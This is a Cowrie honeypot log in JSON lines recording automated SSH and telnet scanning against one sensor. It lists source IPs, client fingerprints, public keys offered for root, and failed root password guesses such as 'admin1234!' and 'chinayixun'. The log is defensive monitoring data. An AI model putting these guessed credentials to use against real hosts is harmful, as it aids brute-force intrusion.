{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:fd:4d:15:59:47:9a:36:c7:55:51:1d:86:82:08:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY/I/dSLSJrL4ZN50jjuQYLZQHVNVxOh3/gVuysIIh1rr/AHLMZ+jgZGdBXdzDvaPzE7ZC9GGgbDZ3VYJUDIBkr2mc8kjq9/Jybat5LtRF38vX+8Ugtxs4xsmsYeSEXTW9WpfhKu6AXhdMEsaLEKXb2+qdNwdVs7nwPVc4/8X50reNQ3ebo3R6go2yzOYhLnJ2Uz2hZgVTksyC8T/jhfSDERIlMXySG++fr32D1XcoJ4hn68Wr8PL4l/DJ7NqxKQzNdyoKLLIgy/07Z/812ZgG9R60/7tlNKKRLLGF2JDYIu66ms0SeldIKhxQnKNCp73Cvqz7znkdNpd8Oer5VpO7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:fd:4d:15:59:47:9a:36:c7:55:51:1d:86:82:08:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:26.743913Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:fd:4d:15:59:47:9a:36:c7:55:51:1d:86:82:08:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY/I/dSLSJrL4ZN50jjuQYLZQHVNVxOh3/gVuysIIh1rr/AHLMZ+jgZGdBXdzDvaPzE7ZC9GGgbDZ3VYJUDIBkr2mc8kjq9/Jybat5LtRF38vX+8Ugtxs4xsmsYeSEXTW9WpfhKu6AXhdMEsaLEKXb2+qdNwdVs7nwPVc4/8X50reNQ3ebo3R6go2yzOYhLnJ2Uz2hZgVTksyC8T/jhfSDERIlMXySG++fr32D1XcoJ4hn68Wr8PL4l/DJ7NqxKQzNdyoKLLIgy/07Z/812ZgG9R60/7tlNKKRLLGF2JDYIu66ms0SeldIKhxQnKNCp73Cvqz7znkdNpd8Oer5VpO7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:26.748116Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:11:00:b7:96:91:1c:02:19:1d:16:7b:f8:f4:30:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu+zte1+j/sE1x0MgWfVxw1R/8X7Uyi0YbcAFq7NjiAckAnsMGlg0MGNTTvsjcwCf+Bq8qExXAaP12BCKkKInCBYTnKJMtmZTttNXkPO7b+CipfIJx099B2DIVx7p8uBzZb0qTN0spCllLk/CG7gnjLJk06dx2THtbAPMa+vFugAc7tbHM8bJmnWoCy7NQAc/EPnNAoQArVYQfEWqRHj8rsXEjLcEzw0e47XpJVBEa9h/MB+YptGqmrMFJNx4YctEQUGZXbk7E0dqaLWo2TL53soYYwEXTxWNBsuvfhxLpsCp+qjUcwubhiA+CcAwPQnF5+LsTo7RZkrtg+beBJ6wgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:11:00:b7:96:91:1c:02:19:1d:16:7b:f8:f4:30:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:26.900718Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:11:00:b7:96:91:1c:02:19:1d:16:7b:f8:f4:30:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu+zte1+j/sE1x0MgWfVxw1R/8X7Uyi0YbcAFq7NjiAckAnsMGlg0MGNTTvsjcwCf+Bq8qExXAaP12BCKkKInCBYTnKJMtmZTttNXkPO7b+CipfIJx099B2DIVx7p8uBzZb0qTN0spCllLk/CG7gnjLJk06dx2THtbAPMa+vFugAc7tbHM8bJmnWoCy7NQAc/EPnNAoQArVYQfEWqRHj8rsXEjLcEzw0e47XpJVBEa9h/MB+YptGqmrMFJNx4YctEQUGZXbk7E0dqaLWo2TL53soYYwEXTxWNBsuvfhxLpsCp+qjUcwubhiA+CcAwPQnF5+LsTo7RZkrtg+beBJ6wgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:26.905327Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:de:b0:fe:66:66:59:a6:35:bf:d4:d2:74:3f:c7:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+T+t/dJ6u6+Z8k5ZlMQoQhGYoNrv4rBJQ6ZVyiIOu16///Ab9Fw6kKAgxYXbawV/twv3J+jEdmIH8aOuHNb2iuWz/0b4cjB75cuzoI/aIzrcA+9ZFa3Wi389VvaAx2Okqt8ZZCBvgrl4vm8KVld2QsIeUDe4FbGY8S1F213cD8zk5zO9mLTMV3MZmKvThwRWBXImrvJfpKjCZ3tsFKh1uBeRuCoHBfrxK6kllOttEaNEYJe5uRqFpwxyJmy+Q1I24uiYums0zJjfvXuKApHzBIwIFVyhsrrsEbYw7Cwzznr2G3dZTxPBwXMXl4n6iXtarW6GdpdX4c83UKtBsXM1ChptpE+lTLNAatdCG0Xff8LSA0cKRotBTVn5SNONn1AzqMILqEK8mw7qjycdKSDEkokABhxuX1cjknraWXQ5l1GxJeAuCXEVbP9gySjOQD08cWwSpUYuUhLd3IckomzCACX+uZ832KaM4Gd8JkEbym9PUNsDj3O6rfH+PqVldQ144vo/5AG5PrJRteiViYh6s5TIPQXtYmC5TTQF66SeC51bEY4uuLKXJOnpbNQW42TcdKijQsNfXD6De2orKPbKlCjmqIn+YLOokb0Xe3OCv1ffdwbzi2pC39SD6I6B10nX8IdHki8Z+aYVqA6pUnKYtibifZB3USxUJsyamPjsLUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:de:b0:fe:66:66:59:a6:35:bf:d4:d2:74:3f:c7:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.053697Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:de:b0:fe:66:66:59:a6:35:bf:d4:d2:74:3f:c7:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+T+t/dJ6u6+Z8k5ZlMQoQhGYoNrv4rBJQ6ZVyiIOu16///Ab9Fw6kKAgxYXbawV/twv3J+jEdmIH8aOuHNb2iuWz/0b4cjB75cuzoI/aIzrcA+9ZFa3Wi389VvaAx2Okqt8ZZCBvgrl4vm8KVld2QsIeUDe4FbGY8S1F213cD8zk5zO9mLTMV3MZmKvThwRWBXImrvJfpKjCZ3tsFKh1uBeRuCoHBfrxK6kllOttEaNEYJe5uRqFpwxyJmy+Q1I24uiYums0zJjfvXuKApHzBIwIFVyhsrrsEbYw7Cwzznr2G3dZTxPBwXMXl4n6iXtarW6GdpdX4c83UKtBsXM1ChptpE+lTLNAatdCG0Xff8LSA0cKRotBTVn5SNONn1AzqMILqEK8mw7qjycdKSDEkokABhxuX1cjknraWXQ5l1GxJeAuCXEVbP9gySjOQD08cWwSpUYuUhLd3IckomzCACX+uZ832KaM4Gd8JkEbym9PUNsDj3O6rfH+PqVldQ144vo/5AG5PrJRteiViYh6s5TIPQXtYmC5TTQF66SeC51bEY4uuLKXJOnpbNQW42TcdKijQsNfXD6De2orKPbKlCjmqIn+YLOokb0Xe3OCv1ffdwbzi2pC39SD6I6B10nX8IdHki8Z+aYVqA6pUnKYtibifZB3USxUJsyamPjsLUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.057706Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:86:23:83:43:61:5c:35:3c:71:f9:52:54:9e:8e:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5wZjpMeltOWZ6uJJuunk+Nw0iwM6mqdPY3LVic3MtxwfZAFUwJk+tfCiupU5XQrysQJf7/PdzQn6i7xZHx1t2suezFJ6AyeKZInWFK2EKdaIImRPW1VYDsMbcx1TG/0++aYfMUMlXPmfMpKARyVxZ1+JUAuXUqfqovBEZBs6TZhmUXfB0nyDSz3CyEAF2n4ZrIJ9CjudKhgqsRb51pMup33dV7pKs1QIpPsA4DKpt1BzmtKMpk9D03KYDH3GBDHW66AT16R0nwduGgGlq/Vnzty6iE+xNFyIAWwFipdAzg8o3uK9ES5kS40Od/AK6bojVCSoEU25wfax5Y8BseoD/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:86:23:83:43:61:5c:35:3c:71:f9:52:54:9e:8e:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.205145Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:86:23:83:43:61:5c:35:3c:71:f9:52:54:9e:8e:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5wZjpMeltOWZ6uJJuunk+Nw0iwM6mqdPY3LVic3MtxwfZAFUwJk+tfCiupU5XQrysQJf7/PdzQn6i7xZHx1t2suezFJ6AyeKZInWFK2EKdaIImRPW1VYDsMbcx1TG/0++aYfMUMlXPmfMpKARyVxZ1+JUAuXUqfqovBEZBs6TZhmUXfB0nyDSz3CyEAF2n4ZrIJ9CjudKhgqsRb51pMup33dV7pKs1QIpPsA4DKpt1BzmtKMpk9D03KYDH3GBDHW66AT16R0nwduGgGlq/Vnzty6iE+xNFyIAWwFipdAzg8o3uK9ES5kS40Od/AK6bojVCSoEU25wfax5Y8BseoD/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.210865Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:11:7f:c0:1d:71:e7:4c:28:ed:7d:0b:99:ec:be:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIz09I6g0i2fnilLM2LFOB+ldIYKk6B4RykynHTmmFpM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9f:11:7f:c0:1d:71:e7:4c:28:ed:7d:0b:99:ec:be:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.365945Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:11:7f:c0:1d:71:e7:4c:28:ed:7d:0b:99:ec:be:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIz09I6g0i2fnilLM2LFOB+ldIYKk6B4RykynHTmmFpM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.370792Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:27.521545Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":55472,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9ee00225b4","protocol":"ssh","message":"New connection: 103.75.183.219:55472 (159.203.135.109:22) [session: 8c9ee00225b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:48.764971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:48.771457Z","src_ip":"103.75.183.219","session":"8c9ee00225b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:49.020304Z","src_ip":"103.75.183.219","session":"8c9ee00225b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:49.764432Z","src_ip":"103.75.183.219","session":"8c9ee00225b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:51.015128Z","src_ip":"103.75.183.219","session":"8c9ee00225b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":57030,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a8276fd79f0","protocol":"ssh","message":"New connection: 43.156.39.221:57030 (10.17.0.5:22) [session: 9a8276fd79f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:55.872031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:55.877914Z","src_ip":"43.156.39.221","session":"9a8276fd79f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:56.124723Z","src_ip":"43.156.39.221","session":"9a8276fd79f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"2571acf0f328","protocol":"telnet","message":"New connection: 192.119.13.58:56876 (10.17.0.5:23) [session: 2571acf0f328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:56.947520Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"112358","message":"login attempt [root/112358] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:57.143462Z","src_ip":"43.156.39.221","session":"9a8276fd79f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:58.392873Z","src_ip":"43.156.39.221","session":"9a8276fd79f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5393c9e9feca","protocol":"telnet","message":"New connection: 192.119.13.58:38534 (10.17.0.5:23) [session: 5393c9e9feca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:13.554531Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42740,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf84757985c","protocol":"telnet","message":"New connection: 192.119.13.58:42740 (10.17.0.5:23) [session: 6bf84757985c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:14.758016Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"54de056d064c","protocol":"ssh","message":"New connection: 89.110.87.138:48946 (10.17.0.5:22) [session: 54de056d064c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:22.417183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:22.422775Z","src_ip":"89.110.87.138","session":"54de056d064c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:22.540750Z","src_ip":"89.110.87.138","session":"54de056d064c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234!","message":"login attempt [root/admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:23.046371Z","src_ip":"89.110.87.138","session":"54de056d064c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:24.170679Z","src_ip":"89.110.87.138","session":"54de056d064c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58470,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2dd09795d7","protocol":"telnet","message":"New connection: 192.119.13.58:58470 (10.17.0.5:23) [session: 0c2dd09795d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:27.491939Z"}
{"eventid":"cowrie.session.closed","duration":34.871742725372314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:31.819100Z","src_ip":"192.119.13.58","session":"2571acf0f328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"2361f437e1e3","protocol":"ssh","message":"New connection: 102.88.137.145:34466 (10.17.0.5:22) [session: 2361f437e1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:39.334452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:39.339937Z","src_ip":"102.88.137.145","session":"2361f437e1e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:39.525962Z","src_ip":"102.88.137.145","session":"2361f437e1e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chinayixun","message":"login attempt [root/chinayixun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:40.303841Z","src_ip":"102.88.137.145","session":"2361f437e1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:41.492989Z","src_ip":"102.88.137.145","session":"2361f437e1e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57440,"dst_ip":"10.17.0.5","dst_port":23,"session":"18fb49fd3a0c","protocol":"telnet","message":"New connection: 192.119.13.58:57440 (10.17.0.5:23) [session: 18fb49fd3a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:41.753083Z"}
{"eventid":"cowrie.session.closed","duration":36.54202198982239,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:51.299923Z","src_ip":"192.119.13.58","session":"6bf84757985c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.60064125061035,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:54.155054Z","src_ip":"192.119.13.58","session":"5393c9e9feca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35740,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34ab50045cc","protocol":"telnet","message":"New connection: 192.119.13.58:35740 (10.17.0.5:23) [session: d34ab50045cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:01:58.188451Z"}
